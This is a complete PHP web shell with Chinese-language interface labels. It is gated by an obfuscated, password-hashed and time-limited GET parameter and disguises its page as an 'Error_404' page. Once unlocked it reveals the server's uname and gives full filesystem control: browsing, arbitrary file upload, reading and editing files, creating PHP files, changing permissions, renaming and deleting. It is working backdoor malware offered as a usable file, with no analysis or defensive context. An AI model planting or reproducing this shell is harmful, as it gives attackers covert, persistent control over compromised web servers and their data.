<?php
error_reporting(0);
date_default_timezone_set('PRC');
    
$ARRAY = ${'_GET'}['ARRAY'];
$KJMn = str_rot13($ARRAY);
$cbH = pack("\x48\x2a", $KJMn);
$EzaU = json_decode($cbH, true);

if (($EzaU[0] - time()) > 0 and md5(md5($EzaU[2])) === "572a25b4c009064a10b9e2ba1f20239d") : // ====
// ===============================================================

    function juejiang_perms($file){
        $perms = fileperms($file);
        if (($perms & 0xC000) == 0xC000) {// Socket
            $info = 's';
        } elseif (($perms & 0xA000) == 0xA000) {// Symbolic Link
            $info = 'l';
        } elseif (($perms & 0x8000) == 0x8000) {// Regular
            $info = '-';
        } elseif (($perms & 0x6000) == 0x6000) {// Block special
            $info = 'b';
        } elseif (($perms & 0x4000) == 0x4000) {// Directory
            $info = 'd';
        } elseif (($perms & 0x2000) == 0x2000) {// Character special
            $info = 'c';
        } elseif (($perms & 0x1000) == 0x1000) {// FIFO pipe
            $info = 'p';
        } else {// Unknown
            $info = 'u';
        }
// Owner
        $info .= (($perms & 0x0100) ? 'r' : '-');
        $info .= (($perms & 0x0080) ? 'w' : '-');
        $info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
        $info .= (($perms & 0x0020) ? 'r' : '-');
        $info .= (($perms & 0x0010) ? 'w' : '-');
        $info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
        $info .= (($perms & 0x0004) ? 'r' : '-');
        $info .= (($perms & 0x0002) ? 'w' : '-');
        $info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

        return $info;
    }

// ------------------------------------------------------
    /**
     * 转化 \ 为 /
     */
    function dir_path($path)
    {
        $path = str_replace('\\', '/', $path);
        if (substr($path, -1) != '/') $path = $path . '/';
        return $path;
    }

// ------------------------------------------------------

    /** 取得站点根目录
     * @return array|string|string[]
     */
    function document_root(){

        $php_self = dir_path($_SERVER["PHP_SELF"]);
        $script_filename = dir_path($_SERVER["SCRIPT_FILENAME"]);
        if (empty($_SERVER["PHP_SELF"]) or empty($_SERVER["SCRIPT_FILENAME"])){
            $do1 = dir_path($_SERVER["DOCUMENT_ROOT"]);
            $do = rtrim($do1,'/');
        }else{
            $do = str_replace(str_replace("//", "/", $php_self), "", str_replace("\\\\", "/", $script_filename));
        }
        if(empty($do)) $do = '/';
        return $do;
    }
    $document_root = document_root();
    define('DOCUMENT_ROOT', $document_root);

// ------------------------------------------------------



    $php_version = PHP_MAJOR_VERSION;
    if($php_version<=7){
        if(get_magic_quotes_gpc()){
            foreach($_POST as $key=>$value){
                $_POST[$key] = stripslashes($value);
            }
        }
    }

    $Version = base64_decode('5pyA5ZCO55qE5YCU5by6');
    if(isset($_GET['path'])){
        $path = $_GET['path'];
    }else{
        $path = getcwd();
    }


    echo '<!doctype html>
<html>
<head>
<title>&Error_404&</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>';
    ?>

    <center>
        <style>
            body{background:#e6e6e6;line-height:1;color:#000;font-family:Comic Sans MS;width:60%;margin:0 auto;}
            table,th,td{border-collapse:collapse;background:transparent;font-size:13px;}
            input,textarea{}
            .table_home,.th_home,.td_home{color:grey;border:1px solid grey;}
            th{padding:10px;}
            .td_home{padding:7px;}
            a{color:#000; text-decoration:none;}
            textarea{width:100%;height:400px;}
            #content tr:hover{background-color:#cecece;text-shadow:0px 0px 10px #fff;color:#fff;}
            .dh a{ padding-left: 10px; padding-right: 10px; border-right: 1px solid #000;}
            .dh a:hover{ color: #f00;}
        </style>
    <?php
    echo '</head>
<body><b>
<H1><center><font color="red">'.$Version.'</font></center></h1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">

<tr><td>

<font ><center>'.php_uname().'</center></font><br>';
    if(isset($_GET['path'])){
        $path = $_GET['path'];
    }else{
        $path = getcwd();
    }
    $path = str_replace('\\','/',$path);
    $paths = explode('/',$path);

    $gen_link_url = '<a style="color:#0066FF" href="?ARRAY='.$ARRAY.'&path='.DOCUMENT_ROOT;
    $gen_link_url .= '">根目录 ：    </a>&nbsp;';
    echo $gen_link_url;

    foreach($paths as $id=>$pat){
        if($pat == '' && $id == 0){
            $a = true;
            echo '<font color=#000>
<a href="?ARRAY='.$ARRAY.'&path=/">/</a>';
            continue;
        }
        if($pat == '') continue;
        echo '<a style="color:#0066FF" href="?ARRAY='.$ARRAY.'&path=';
        for($i=0;$i<=$id;$i++){
            echo "$paths[$i]";
            if($i != $id) echo "/";
        }
        echo '">'.$pat.'</a>/';
    }
    echo '</font>
<br><br>
</td></tr><tr><td><center>';

    if(isset($_FILES['file'])){
        if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
            echo '<font color="green">上传成功 :)</font><br /><br />';
        }else{
            echo '<font color="red">上传失败 </font><br /><br />';
        }
    }
    echo '</center><center><form enctype="multipart/form-data" method="POST"><font color="white"><input style="background:black;font-family: Comic Sans MS " type="file" name="file" />
<input type="submit" value="上传" />
</form></center>
</td></tr>';
    if(isset($_GET['filesrc'])){
        echo "<tr><td><center>当前文件 : ";
        echo $_GET['filesrc'];
        echo '</center></tr></td></table><br />';
        echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
    }
//Empety
    elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
// echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
        echo '</table><br /><center>';
//Chmod
        if($_GET['opt'] == 'chmod'){
            if(isset($_POST['perm'])){
                $new_perm_o = $_POST['perm'];

                if(strlen($new_perm_o)<=3) $new_perm_o=str_pad($new_perm_o,3,'6',STR_PAD_LEFT);
                $new_perm_o=intval(str_pad($new_perm_o,4,'0',STR_PAD_LEFT),8);

                if(chmod($_POST['path'],$new_perm_o)){
                    echo '<font color="green">更改权限成功！ </font><br />';
                }else{
                    echo '<font color="red">更改权限错误！ </font><br />';
                }
            }

            $hell = $_GET['path'];
            $yeah = $_GET['name'];
            $patc = "$hell/$yeah";

            echo '<form method="POST"><br>
当前文件 : '.$patc.'<br><br>权限----'.substr(base_convert(@fileperms($patc),10,8),-4).'<br><br>
设置新权限 : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" />
<input type="hidden" name="path" value="'.$patc.'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" />
</form>
<br>
<a href="?ARRAY='.$ARRAY.'&path='.$hell.'" style="display:block; width:100%;" title="反回">反回</a>
';

        }
//
        elseif($_GET['opt'] == 'btw'){
            $cwd = $_GET['path'];

            echo '<form action="?ARRAY='.$ARRAY.'&option&path='.$cwd.'&opt=delete&type=buat" method="POST">
新目录名 : <input name="name" type="text" size="20" value="Folder" />
<input type="hidden" name="path" value="'.$cwd.'">
<input type="hidden" name="opt" value="delete">
<input type="submit" />
</form>';
        }
//Rename file
        elseif($_GET['opt'] == 'rename'){
            if(isset($_POST['newname'])){
                if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                    echo '<font color="green">重命名成功! :)</font><br /><br />';
                }else{
                    echo '<font color="red">重命名失败! :( </font><br /><br />';
                }
                $_POST['name'] = $_POST['newname'];
            }
            $hell = $_GET['path'];
            $yeah = $_GET['name'];
            $patc = "$hell/$yeah";
            $new = $_POST['newname'];

            echo '<form method="POST">
新名称 : <input name="newname" type="text" size="20" value="'.$new.'" />
<input type="hidden" name="path" value="'.$patc.'">
<input type="hidden" name="opt" value="rename">
<input type="submit" /><br><br>
<input type="button" value="反回" onClick="javascript:location.href=\'?ARRAY='.$ARRAY.'&path='.$hell.'\'">
</form>';
        }
//File baru
        elseif($_GET['opt'] == 'baru'){

            $hell = $_GET['path'];
            $yeah = $_GET['name'];
            $patc = "$hell/$yeah";
            $new = empty($_POST['newname'])?$_POST['ngaran1']:$_POST['newname'];
            $azz = $_POST['path'];
            $newz = $azz."/".$new;
            $new_fiel = $hell.'/'.$_POST['ngaran1'];
            if(!empty($_POST['ngaran1'])) echo "正在新建文件：{$new_fiel}<br><br>";
            if(isset($_POST['src'])){
                $fp = fopen($_POST['path'],'w');
                if(fwrite($fp,$_POST['src'])){
                    echo '<font color="green">新建文件成功 [ '.$azz.' ]</font><br /><br />';
                }else{
                    echo '<font color="red">新建文件失败 >:(</font><br /><br />';
                }
                fclose($fp);
            }

            echo '<form method="POST"> 新文件名 : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" /></form><br> ';

            $ho = $_POST['ngaran1'];

            if(isset($_POST['ngaran'])){
                echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
<input type="hidden" name="path" value="'.$hell.'/'.$ho.'">
<input type="hidden" name="opt" value="edit">
<input type="submit"  />
</form>';
            }
        }
//Edited file
        elseif($_GET['opt'] == 'edit'){
            if(isset($_POST['src'])){
                $fp = fopen($_POST['path'],'w');
                if(fwrite($fp,$_POST['src'])){
                    echo '<font color="green">编辑成功！ </font><br /><br />';
                }else{
                    echo '<font color="red">编辑失败！</font><br /><br />';
                }
                fclose($fp);
            }
            $hell = $_GET['path'];
            $yeah = $_GET['name'];
            $patc = "$hell/$yeah";
            echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
<input type="hidden" name="path" value="'.$patc.'">
<input type="hidden" name="opt" value="edit"><br>
<input type="submit"  />
<br>
<br>
<input type="button" value="反回" onClick="javascript:location.href=\'?ARRAY='.$ARRAY.'&path='.$hell.'\'">

</form>';
        }
        echo '</center>';
    }else{
        echo '</table><br /><center>';
//Delete dir and file
        if(isset($_GET['option']) && $_GET['opt'] == 'delete'){

            $hell = $_GET['path'];
            $yeah = $_GET['name'];
            $patc = "$hell/$yeah";

//Delete dir
            if($_GET['type'] == 'dir'){

                if(rmdir($patc)){
                    echo '<font color="green">删除成功！</font><br />';
                }else{
                    echo '<font color="red#">删除失败!>:(</font><br />';
                }
            }
//buat folder
            if($_GET['type'] == 'buat'){
                $haaa = $_POST['path'];
                $heee = $_POST['name'];
                $hooo = "$haaa/$heee";
                $new = $haaa.'/'.htmlspecialchars($heee);
                if(!mkdir($new)){
                    echo '<font color="red">新建目录失败!</font><br />';
                }else{
                    echo '<font color="green">新建目录成功! >:)</font><br />';
                }
            }
//Delete file
            elseif($_GET['type'] == 'file'){

                $hell = $_GET['path'];
                $yeah = $_GET['name'];
                $patc = "$hell/$yeah";

                if(unlink($patc)){
                    echo '<font color="green">文件删除成功</font><br />';
                }else{
                    echo '<font color="red">文件删除失败</font><br />';
                }
            }
        }
        echo '</center>';
        $scandir = scandir($path);
        $pa = getcwd();
        echo ' <div id="content"><table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
 
<tr>
<th class=th_home style="background:black;color:#fff;"><center>名称</center></th>
<th class=th_home style="background:black;color:#fff;" ><center>大小</center></th>
<th class=th_home style="background:black;color:#fff;" ><center>权限</center></th>
<th class=th_home style="background:black;color:#fff;" ><center>操作选项</center></th>
</tr>


 <tr>
<td class="td_home" align="center">
<a href="?ARRAY='.$ARRAY.'&path='.dirname($path).'" style="display:block; width:100%;" title="上一页">上一页</a>
</td><td class=td_home align=center>Size</td> <td class=td_home align=center>Chmod</td> <td class=td_home align=center> <a href="?option&ARRAY='.$ARRAY.'&path='.$path.'&opt=baru&name=new.php">+ 新建文件</a> | <a href="?option&ARRAY='.$ARRAY.'&path='.$path.'&opt=btw&type=dir">+ 新建目录</a> </td></tr>
';

        foreach($scandir as $dir){
            if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
            echo "
<tr>
<td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?ARRAY={$ARRAY}&path=$path/$dir\">$dir</a></td>
<td class=td_home ><center>DIR</center></td>
<td class=td_home align=center>
<a href=\"?option&ARRAY={$ARRAY}&path=$path&opt=chmod&type=dir&name=$dir\" title='权限设置'>
";
            if(is_writable("$path/$dir")) echo '<font color="green">';
            elseif(!is_readable("$path/$dir")) echo '<font color="red">';
            echo juejiang_perms("$path/$dir");
            if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

            echo "
</a>
</td>


<td class=td_home ><center>
<a href=\"?option&ARRAY={$ARRAY}&path=$path&opt=rename&type=dir&name=$dir\">重命名</a>
<a href=\"javascript:if(confirm('确实要删除吗?'))location='?option&ARRAY={$ARRAY}&path={$path}&opt=delete&type=dir&name={$dir}'\">删除</a>
</center></td>
</tr>";
        }
        echo '<br>';
        foreach($scandir as $file){
            if(!is_file("$path/$file")) continue;
            $size = filesize("$path/$file")/1024;
            $size = round($size,3);
            if($size >= 1024){
                $size = round($size/1024,2).' MB';
            }else{
                $size = $size.' KB';
            }


            echo "<tr>
<td class=td_home > <img src='data:image/png;base64, '>

";
// <a href=\"?ARRAY={$ARRAY}&filesrc=$path/$file&path=$path\">$file</a>
            echo "
<a href=\"?option&ARRAY={$ARRAY}&path={$path}&opt=edit&type=file&name={$file}\">{$file}</a>
</td>
<td class=td_home><center>".$size."</center></td>
<td class=td_home align='center'><a href=\"?option&ARRAY={$ARRAY}&path=$path&opt=chmod&type=file&name=$file\" title='权限设置'>";



            if(is_writable("$path/$file")) echo '<font color="green">';
            elseif(!is_readable("$path/$file")) echo '<font color="red">';
            echo juejiang_perms("$path/$file");
            if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
            echo "</a></td>
<td class=td_home><center>
<a href=\"?option&ARRAY={$ARRAY}&path=$path&opt=edit&type=file&name=$file\">编辑</a>
<a href=\"?option&ARRAY={$ARRAY}&path=$path&opt=rename&type=file&name=$file&path=$path\">重命名</a>
<a href=\"javascript:if(confirm('确实要删除吗?'))location='?option&ARRAY={$ARRAY}&path={$path}&opt=delete&type=file&name={$file}'\">删除</a>
</center></td>
</tr>";
        }
        echo '</table>
</div>';
    }
    echo '<br><br><br><br></b>
</body> </html></body>
</html>';
    die;
endif;  // ====
?>
<?php
die("");
?>